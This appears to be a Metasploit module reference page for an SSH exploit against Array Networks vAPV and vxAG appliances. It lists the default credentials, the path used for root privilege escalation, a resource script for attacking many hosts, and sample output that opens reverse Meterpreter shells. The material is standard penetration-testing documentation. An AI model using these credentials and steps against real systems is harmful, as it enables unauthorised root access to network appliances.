Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/ssh/array_vxag_vapv_privkey_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
Module: exploit/unix/ssh/array_vxag_vapv_privkey_privesc
Source code: modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
Disclosure date: 2014-02-03
Last modification time: 2022-04-18 09:36:52 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: -
This module exploits a default hardcoded private SSH key or default hardcoded login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made by Array Networks. After logged in as the unprivileged user, it's possible to modify the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code. Execution is possible by using the backend tool, running setuid, to turn the debug monitoring on. This makes it possible to trigger a payload with root privileges.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using array_vxag_vapv_privkey_privesc against a single host
Normally, you can use exploit/unix/ssh/array_vxag_vapv_privkey_privesc this way:
msf > use exploit/unix/ssh/array_vxag_vapv_privkey_privesc
msf exploit(array_vxag_vapv_privkey_privesc) > show targets
... a list of targets ...
msf exploit(array_vxag_vapv_privkey_privesc) > set TARGET target-id
msf exploit(array_vxag_vapv_privkey_privesc) > show options
... show and set options ...
msf exploit(array_vxag_vapv_privkey_privesc) > exploit
Using array_vxag_vapv_privkey_privesc against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your array_vxag_vapv_privkey_privesc will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/ssh/array_vxag_vapv_privkey_privesc")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the unix/ssh/array_vxag_vapv_privkey_privesc exploit module looks in the msfconsole:
msf6 > use exploit/unix/ssh/array_vxag_vapv_privkey_privesc
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show info
Name: Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
Module: exploit/unix/ssh/array_vxag_vapv_privkey_privesc
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-02-03
Provided by:
xistence <[email protected]>
Available targets:
Id Name
-- ----
0 vAPV 8.3.2.17 / vxAG 9.2.0.34
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS click1 yes vAPV/vxAG SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
SSHKEY true yes Use SSH key instead of password
USER sync yes vAPV/vxAG SSH user
Payload information:
Description:
This module exploits a default hardcoded private SSH key or default
hardcoded login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34
appliances made by Array Networks. After logged in as the
unprivileged user, it's possible to modify the world-writable file
/ca/bin/monitor.sh with attacker-supplied arbitrary code. Execution
is possible by using the backend tool, running setuid, to turn the
debug monitoring on. This makes it possible to trigger a payload
with root privileges.
References:
OSVDB (104652)
OSVDB (104653)
OSVDB (104654)
https://packetstormsecurity.com/files/125761
Module Options
This is a complete list of options available in the unix/ssh/array_vxag_vapv_privkey_privesc exploit:
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show options
Module options (exploit/unix/ssh/array_vxag_vapv_privkey_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
PASS click1 yes vAPV/vxAG SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
SSHKEY true yes Use SSH key instead of password
USER sync yes vAPV/vxAG SSH user
Exploit target:
Id Name
-- ----
0 vAPV 8.3.2.17 / vxAG 9.2.0.34
Advanced Options
Here is a complete list of advanced options supported by the unix/ssh/array_vxag_vapv_privkey_privesc exploit:
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show advanced
Module advanced options (exploit/unix/ssh/array_vxag_vapv_privkey_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/ssh/array_vxag_vapv_privkey_privesc module can exploit:
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 vAPV 8.3.2.17 / vxAG 9.2.0.34
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/ssh/array_vxag_vapv_privkey_privesc exploit:
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
2 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
3 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/ssh/array_vxag_vapv_privkey_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/ssh/array_vxag_vapv_privkey_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <RHOST>:<RPORT> SSH - Connection error or address in use
- <RHOST>:<RPORT> SSH - Disconnected during negotiation
- <RHOST>:<RPORT> SSH - Timed out during negotiation
- <RHOST>:<RPORT> SSH - Failed authentication
- <RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
- <RHOST>:<RPORT> SSH session couldn't be established
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Connection error or address in use
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Connection error or address in use" error message:
166: ssh = nil
167: ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
168: ssh = Net::SSH.start(rhost, user, opts)
169: end
170: rescue Rex::ConnectionError
171: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
172: rescue Net::SSH::Disconnect, ::EOFError
173: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
174: rescue ::Timeout::Error
175: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
176: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
168: ssh = Net::SSH.start(rhost, user, opts)
169: end
170: rescue Rex::ConnectionError
171: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
172: rescue Net::SSH::Disconnect, ::EOFError
173: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
174: rescue ::Timeout::Error
175: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
176: rescue Net::SSH::AuthenticationFailed
177: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
178: rescue Net::SSH::Exception => e
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
170: rescue Rex::ConnectionError
171: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
172: rescue Net::SSH::Disconnect, ::EOFError
173: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
174: rescue ::Timeout::Error
175: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
176: rescue Net::SSH::AuthenticationFailed
177: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
178: rescue Net::SSH::Exception => e
179: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
180: end
<RHOST>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:
172: rescue Net::SSH::Disconnect, ::EOFError
173: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
174: rescue ::Timeout::Error
175: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
176: rescue Net::SSH::AuthenticationFailed
177: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
178: rescue Net::SSH::Exception => e
179: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
180: end
181:
182: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
174: rescue ::Timeout::Error
175: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
176: rescue Net::SSH::AuthenticationFailed
177: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
178: rescue Net::SSH::Exception => e
179: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
180: end
181:
182: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
183:
184: if datastore['SSHKEY']
<RHOST>:<RPORT> SSH session couldn't be established
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH session couldn't be established" error message:
177: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
178: rescue Net::SSH::Exception => e
179: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
180: end
181:
182: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
183:
184: if datastore['SSHKEY']
185: print_good("#{rhost}:#{rport} - Login Successful (#{user}:SSH PRIVATE KEY)")
186: else
187: print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #10374 Merged Pull Request: Net::SSH::CommandStream fixes implemented
- #9524 Merged Pull Request: prefer 'shell' channels over 'exec' channels for ssh CommandStream
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7339 Merged Pull Request: Bug/7321/fix ssh modules
- #7018 Merged Pull Request: Un-Vendor the net-ssh library
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6396 Merged Pull Request: Fix PACKETSTORM warnings; improve msftidy to catch more
- #5826 Merged Pull Request: use EXITFUNC instead of ExitFunction
- #3136 Merged Pull Request: Fixup release
- #3106 Merged Pull Request: Array Networks vxAG and vAPV SSH key and privesc
References
- CVE: Not available
- OSVDB (104652)
- OSVDB (104653)
- OSVDB (104654)
- PACKETSTORM-125761
See Also
Check also the following modules related to this module:
- exploit/unix/ssh/arista_tacplus_shell
- exploit/unix/ssh/tectia_passwd_changereq
- exploit/multi/browser/chrome_array_map
- exploit/multi/browser/java_atomicreferencearray
- exploit/multi/browser/java_storeimagearray
- exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array
- exploit/windows/browser/adobe_flashplayer_arrayindexing
- exploit/windows/browser/adobe_flash_worker_byte_array_uaf
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- payload/cmd/mainframe/apf_privesc_jcl
Authors
- xistence <xistence[at]0x90.nl>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.